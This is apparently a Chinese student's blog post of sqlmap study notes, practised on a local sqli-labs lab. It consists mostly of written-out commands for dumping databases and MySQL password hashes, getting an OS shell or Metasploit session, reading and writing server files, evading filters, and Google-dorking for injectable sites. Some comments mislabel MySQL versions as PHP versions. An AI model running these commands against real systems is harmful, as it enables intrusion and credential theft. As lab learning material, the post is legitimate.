盛不盛开,花都是花。有你没你,我都是我。

前言

暑假开始,学习跟上……..
之前只学习了SQLmap的基本使用,没有及进行详细的学习。所以考完试后第一时间就来进行这一块儿内容的学习。

命令

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据
 
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.137.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上
 
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.137.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
  
sqlmap -d "mysql://root:root@192.168.137.1:3306/mysql" --os-shell   #知道网站的账号密码直接连接
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

基本使用

这里使用sqli-labs进行配合学习。

sqlmap -u "url" --users

sqlmap -r "request.txt" -p "username" –dbms mysql

-r参数是代表传入的是文件,--dbms mysql代表需要来测试的是MySQL数据库。如果不指定mysql,则会挨个测试所有数据库类型。-p指定的是需要测试的注入点,如果不指定,则会测试所有的参数。这里测试username处的注入。
关于--os-shell命令参数,利用该模块前需要满足的条件有三个。
(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭
这个参数怎么说呢确实厉害,但是可利用性不强,这个需要的权限太大了,所以一般无法利用,学习下姿势就可以,这里我也是没有复现成功啊,用的环境是:phpStudy+sqli-labs+mysql5.7
我的主要是在权限方面出现问题了,是这样的:

这个是使用了命令,判断网站的权限是否为管理员权限。

sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1"  --is-dba --current-user

google hacking
通过参数-g "inurl:.php?id=10"&-g ""inurl:.jsp?id=10

前提:可以实现科学上网。
可以结合其它漏扫工具来进行挖洞。待测试…..
然后是等级测试
--risk=1-3 --level=1-5
默认都是1,level级别越高,会加更多的测试,时间也就越长。
2会增加cookie的测试
3会增加user-agent头的测试
5增加检测host头注入点。

python sqlmap.py -u "http://127.0.0.1/Less-31/?id=1" --risk 3 --level 5 可以注入
python sqlmap.py -u "http://127.0.0.1/Less-31/" 尝试一些后迅速退出 
python sqlmap.py -u "http://127.0.0.1/Less-31/" --risk 3 --level 5 大量payload,尝试所有可能的注入点

获取数据库的密码
一般来说可以使用参数--password,如果执行失败,那么就执行下面的语句

#php<5.7
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" -D mysql -T user -C host,user,password --dump
#php>5.7
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" -D mysql -T user -C host,user,authentication_string --dump


暂时先这些,mark一下,以后继续深层内容⚒